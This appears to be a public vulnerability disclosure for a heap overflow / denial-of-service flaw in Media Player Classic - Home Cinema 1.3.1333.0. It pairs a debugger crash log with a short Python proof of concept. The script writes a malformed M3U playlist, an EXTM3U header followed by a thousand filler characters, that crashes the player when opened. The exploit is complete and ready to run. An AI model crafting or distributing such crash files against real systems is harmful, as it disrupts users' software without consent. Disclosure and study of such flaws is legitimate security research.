Media Player Classic – Heap Overflow / Denial of Service
Tested on: Media Player Classic - Home Cinema Build number: 1.3.1333.0 MPC Compiler: VS 2008 FFmpeg Compiler: GCC 4.4.1 ###################CRASH REPORT START################## ModLoad: 77be0000 77bf5000 C:\WINDOWS\system32\MSACM32.dll ModLoad: 77bd0000 77bd7000 C:\WINDOWS\system32\midimap.dll ModLoad: 73ee0000 73ee4000 C:\WINDOWS\system32\KsUser.dll ModLoad: 10000000 100fb000 C:\Program Files\K-Lite Codec Pack\Filters\vsfilter.dll ModLoad: 590b0000 590ce000 C:\WINDOWS\system32\wmpasf.dll ModLoad: 71b20000 71b32000 C:\WINDOWS\system32\MPR.dll ModLoad: 6bf50000 6bfcd000 C:\WINDOWS\system32\dxmasf.dll ModLoad: 02530000 0257f000 C:\WINDOWS\system32\DRMClien.DLL (6dc.cec): C++ EH exception - code e06d7363 (!!! second chance !!!) ............................... ISSUE eax=01c2f2e4 ebx=80040218 ecx=00000000 edx=00200003 esi=01c2f36c edi=003fd08c eip=7c812aeb esp=01c2f2e0 ebp=01c2f334 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll - kernel32!RaiseException+0x52: 7c812aeb 5e pop esi Missing image name, possible paged-out or corrupt data. Missing image name, possible paged-out or corrupt data. Missing image name, possible paged-out or corrupt data. 0:004> g WARNING: Continuing a non-continuable exception (6dc.cec): Break instruction exception - code 80000003 (first chance) eax=01c2f2e4 ebx=80040218 ecx=00000000 edx=00200003 esi=00000000 edi=003fd08c eip=0071d14b esp=01c2f37c ebp=01c2f39c iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 mpc_hc+0x31d14b: 0071d14b cc int 3 ###################CRASH REPORT END################## For images related to the vulnerability refer my blog http://darshanams.blogspot.com ##########PoC Start################ print("\n*****Program need to be run on Python 3.1*****") print ("""Media Player Classic - Home Cinema 1.3.1333.0 M3U File DoS (0-Day)\r\n\r\nTested on:\nWindows XP SP3\n Media Player Classic - Home Cinema\n\t\t Build number: 1.3.1333.0\n\t\t MPC Compiler: VS 2008\n\t\t FFmpeg Compiler: GCC 4.4.1\n""") head = "EXTM3U" buf = "D" * 1000 mal_buf = head + buf #print ("mal_buf:",mal_buf) try: mpc_mal = open("mpc_m3u_crash.m3u",'w') mpc_mal.write (mal_buf) mpc_mal.close() print ("File Created Successfully: mpc_m3u_crash.m3u\n") except: print ("Cannnot Create M3U File\n") print ("[+] Found and Coded by: Praveen Darshanam\r\n") ##########PoC End################ Best Regards, Praveen Darshanam, Security Researcher |